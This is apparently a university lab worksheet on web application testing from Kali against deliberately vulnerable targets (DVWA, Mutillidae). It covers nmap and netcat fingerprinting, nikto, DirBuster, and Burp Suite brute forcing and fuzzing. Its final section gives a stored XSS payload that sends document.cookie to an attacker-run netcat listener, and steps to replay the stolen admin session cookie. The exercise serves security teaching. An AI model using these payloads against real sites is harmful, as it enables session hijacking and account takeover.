If you can see this check that

Main Page

Week 8B - Web Application Testing

Web Application Testing

Aim: To investigate Web Application Testing methods, from the Kali platform.

To reset all the check buttons from a previous attempt click here

Question 1: Target 1

Press this button to ready your machine for running the virtual machine targets. If your machine is reset or you reboot then you may have to press this button again.

Note that this target can take (quite) a few minutes to boot, as it has many processes running many services.

Tests - not attempted
Script ready UNTESTED
Target network UNTESTED

Question 2: Machine Info

Document the details of the Kali Ethernet Interface, eth0. This interface links Kali with the outside world:

Tests - not attempted
eth0 ip UNTESTED
mac address: format 00:ff:11:22:33:44 UNTESTED

The target can take 5 minutes to warm up. Press the test button to see if it is running fully before continuing.

Tests - not attempted
Target 1 network running UNTESTED
Target 1 all services running UNTESTED

Target 1 lies somewhere in - This time use "ip route show" and find out the device name on your machine which would be used to handle packets going to target 1.

Target network device:

Tests - not attempted

What is your machine's IP number on the target network?

Your IP:

Tests - not attempted

Use nmap to sweep the target network, and identify the IP address of target 1.

Target IP:

Tests - not attempted
target ip UNTESTED

Port scan the target, limiting your portscan to only the default Web TCP ports of 80 and 8080. As part of this do an application version scan.

Number of interested ports:
Web Server product?:
Web Server version?:

nmap achieved this by sending additional information to the webserver, rather than just testing what port is open.

Tests - not attempted
Number correct UNTESTED
Product correct UNTESTED
Product version correct UNTESTED

Repeat the above experiment, but in a second window/ssh session capture the traffic being sent to perform the version identification.

To do this use tcpdump. Use numeric capture. Use the interface identified above as being the one which would handle the target's packets. Use ASCII mode (-A) and increase the snap limit to maximum (-s 0). To make it easier to see the traffic of interest, use a pcap filter of "dst ... and port 80" where "..." is the ip of the target.

What was sent by nmap to perform this check?

Tests - not attempted
Technique used UNTESTED

Now manually fingerprint the target, using netcat or telnet, e.g.

Remember to hit return twice... The response should indicate the "Server:", which identified the server software, and may also include some information which hints at additional server-side language support, such as Perl, Python, PHP, etc.

What is the "Server" set to (Case sensitive):
Hinted server-side application technology:

Tests - not attempted
Server info UNTESTED
Technology UNTESTED

Repeat the HEAD, but this time use HTTP/1.1. What is the result this time?

Response error code:

Tests - not attempted
Server info UNTESTED

The error was due to HTTP/1.1 requiring a "Host", i.e. a virtual host name in the request. Make up a name, e.g. "unknown" and redo the query.

Using the virtual host field set to "unknown" redo the query and save the output to a file called "/root/vh". netcat likes to wait for a few seconds in a 1.1 version request, so you may like to introduce "-q 1", which shortens the waittime to 1 second.

Tests - not attempted
Server info UNTESTED

Question 3: Enumerate the Web Server

Nikto is an advance web server security scanner. To see the options in Kali just do at the command line:

nikto -Help
Again at the command line, run nikto on the target.
nikto -host TARGETIP
Analyse the results of this scan.

What does nikto suggest about the Apache version?

Tests - not attempted
Apache version UNTESTED

How many vulnerabilities has Nikto returned from the Offensive Security Vulnerability Db (OSVDB)? You must count the same vulnerability multiple times if it is listed more than once.


Tests - not attempted

Research the OSVDB-877 vulnerability. What CERT vulnerability note does this relate to?


Tests - not attempted
VU of the TRACE vulnerability UNTESTED

Consider the information exposed by OSVDB-3233. In terms of the target, examine this file and perform a risk assessment of the contents. From this, what is the exact kernel version running here? (The entry is called "System", and is formatted "2.0.0-0-text").

System value:

Tests - not attempted
System value UNTESTED

Question 4: DirBuster

Use DirBuster to scan target 1. It can be found in
Applications > Kali Linux > Web Applications > Web Crawlers > dirbuster
Run this utility.

Initial dirbuster
Figure 1: Dirbuster

Now run dirbuster using the directory-list-small on target 1.

Directory list small
Figure 2: Location of directory list small

Even using the small list the scan may take some time. Change the output to the tree view tab. A directory "test" is found quite quickly. What directory is found in that directory?

directory in "test":

Tests - not attempted
In test directory UNTESTED

Open that directory within "test". What file can be found there? The response is space and case sensitive.

File below test:

Tests - not attempted
File below test UNTESTED

Question 5: Intercepting Proxy

Burpsuite is in Applications>Kali Linux>Web Applications>Web Application Proxies>burpsuite.

Burpsuite Intercept
Figure: Intercepting proxy

Run iceweasel, and set it to use burpsuite as a proxy using the Manual proxy configuration. Edit>Preferences and select Advanced and Network. In Connection click Settings. Use a Manual proxy configuration of an HTTP Proxy, using port 8080 on Now visit

When you try to go to the target, it hangs until in Burp Suide you select Proxy, and click FORWARD. Once you do that the response is given back to the browser, and the Target tab site map is filled in a little more. It then starts to learn about the site.

Using the Target tab, what is the "Host" set to in the "GET /" request.
Host in GET request:

Tests - not attempted

In the Scope of Target, add to the scope. You can now automatically spider some links. Try selecting "dvwa" and right click selecting spider from this branch. If asked about forms just click ignore forms.

After about a minute (it takes much longer than that to run completely) it should have spidered far enough to see /dvwa/login.php (You can tell it has been spidered when the information on that link includes a Length). Go to the Spider tab and click on Spider Is Running to pause the spider.

What does the site map say about the "Pragma:" part of the Response (in raw) of dvwa/login.php? This is to be found in the response headers part of the response.

Warning - while spidering there will be a high load on the target, and it is very slow to respond. PAUSE THE SPIDER once you have the answer and before pressing the check button, as the check will be slowed down by the spider and may fail as a result.

login.php Pragma value:

Tests - not attempted
Pragma value discovered UNTESTED

In your browser log into DVWA. Use the username "admin" and the password "password". Click on DVWA Security and set the script security to low. Once complete, select Brute Force.

Not insert some fake login information, such as username "right" password "wrong". Click login. This login attempt should fail, but Burp Suite will have captured the attempt.

Switch to Burp Suite. In the Site map find dvwa/vulnerabilities/brute. There should be a few entries. Click on each one until you find the one which includes the username and password you used in the GET line (it is also the one with a "tick" in the Params column). Right click in the Raw box (i.e. the one with the HTTP request) and select Send to Intruder.

Switch to the Intruder tab. In this use the Positions tab. The package tries to select the fields of interest, but this time we only need the username and password. Click Clear on the right, then one at a time select the username and password you used in your attempt, clicking on Add each time (e.g. the bit after username= and password=). Change the Attack type to Cluster bomb.

Now celect Payloads. Payload set should be 1 and you need the Simple list. This list is the ones for the first field you selected (the username). Payload set 2 is for the possible passwords. Try adding usernames from the following list:

Add passwords from the following list:
You are ready to go. In the Intruder menu, click Start Attack.

This attack only has 20 combinations. Scroll down the list of items and focus on the Length. If one page is a different length from all the others, then this might indicate that this attempt reached a different page from all the rest. Find that attempt. Click on it and view the Response in Render mode. "Welcome to the password protected area...".

What was the successful login attempt here?

Tests - not attempted
Username correct UNTESTED
Password correct UNTESTED

Now lets investigate the mutillidae link briefly and demonstrate a little fuzzing.

Switch burp suide intercept on, and with the browser visit
Forward all the requests.

This part of the site map is controlled by the page variable in the get request. We can (and perhaps you already have) spider this using "spider", but it is possible that some links are secret and not in the normal navigation tree. We can try "fuzzing" a few options and see what turns up...

Refresh the page in the browser, but rather than forwarding the request, right click and send the page to Intruder. Clear the selection in Positions and select only the page= value excluding the ".php", i.e. in this case select only "home", and click Add. Stick with the Sniper attack type.

In Payloads, add a simple list of possible guesses for secret pages. Here are some suggestions:

Once done, go to the Intruder menu and Intruder>Start Attack.

Once the attack is complete, make sure you can see the whole of the Intruder attack window, and select each line while in the bottom half look at the Render in the Response tab. Length indications may also give you a clue as to which requests were successful.

Which three parameters of the suggested list resulted in discovered pages?
Length information suggests success in this case by:

Tests - not attempted
suggestion 1 found UNTESTED
suggestion 2 found UNTESTED
suggestion 3 found UNTESTED
reasoning sound UNTESTED

Question 6: XSS and session hijacking

In DVWA, visit the XSS stored page. Again you should be logged in as admin. Enter a message from "jim", but in the description enter javascript.

This is a persistent server side XSS injection, as every time you visit this page you get the popup.

Tests - not attempted
Alert(watched) is in a message UNTESTED

Clear this message by using Setup in dvwa and clicking Create/Reset database.

Logout of admin, and log in with username 1337 and password charley. Again go to the XSS stored button. Now we really want to try and get "1337"'s cookie to be sent to one of our servers. But it is tricky! Ideally we want to do: Create a message from Jim, but this time make the message:

<script>new Image().src=""+document.cookie;</script>
Unfortunately the message box is only 50 characters long. So we need to split it into multiple messages...

Message 1:
<script>var h="";</script>

Message 2:

Message 3:

Message 4:
<script>new Image().src=h;</script>

Now when you visit this page it will request an image from our webserver, but include the current session cookie as a GET parameter. We will use netcat to be the webserver.

nc -l -p 80 > /root/xss
No point in hacking our own user "1337"... Log out and log in as admin. Visit the XSS stored page while running the netcat statement above. Now "cat" that file and you should see the cookie in the first line as a PHPSESSID= cookie. Note that once the XSS page has refreshed you can press CTRL C and terminate the netcat session. Otherwise is takes at least 10 seconds to timeout.

Tests - not attempted
/root/xss contains a cookie UNTESTED
/root/xss contains a valid cookie for admin UNTESTED

This session cookie is only good enough until the session has ended for some reason. ends the session. To demonstrate this, and while still logged in as "admin", click on the world icon in the iceweasel address line, click more information, view cookies, and Remove All Cookies. Refresh the page and you should be back to the login page.

Now view your /root/xss file, and get the bit of the request which starts PHPSESSID=.... (up to the space). Now in iceweasel, go to Tools>Web Developer>Web Console. This allows you to run your own javascript... Take the PHPSESSID string and substitute it into the following instead of "abcde1234etc". This is all typed into the prompt of the console:

javascript:document.cookie = 'PHPSESSID=abcde1234etc; expires=3600; path=/; domain=";

Javascript console
Figure: Javascript console setting of the cookie

Now revisit and you are now admin again. OK so not easy but with the right tools...

Tests - not attempted
/root/xss still contains a valid cookie for admin session UNTESTED

Centos 7 intro: Paths | BasicShell | Search
Linux tutorials: intro1 intro2 wildcard permission pipe vi essential admin net SELinux1 SELinux2 fwall DNS diag Apache1 Apache2 log Mail
Caine 10.0: Essentials | Basic | Search | Acquisition | SysIntro | grep | MBR | GPT | FAT | NTFS | FRMeta | FRTools | Browser | Mock Exam |
CPD: Cygwin | Paths | Files and head/tail | Find and regex | Sort | Log Analysis
Kali: 1a | 1b | 1c | 2 | 3 | 4a | 4b | 5 | 6 | 7a | 8a | 8b | 9 | 10 |
Kali 2020-4: 1a | 1b | 1c | 2 | 3 | 4a | 4b | 5 | 6 | 7 | 8a | 8b | 9 | 10 |
Useful: Quiz | Forums | Privacy Policy | Terms and Conditions

Linuxzoo created by Gordon Russell.
@ Copyright 2004-2024 Edinburgh Napier University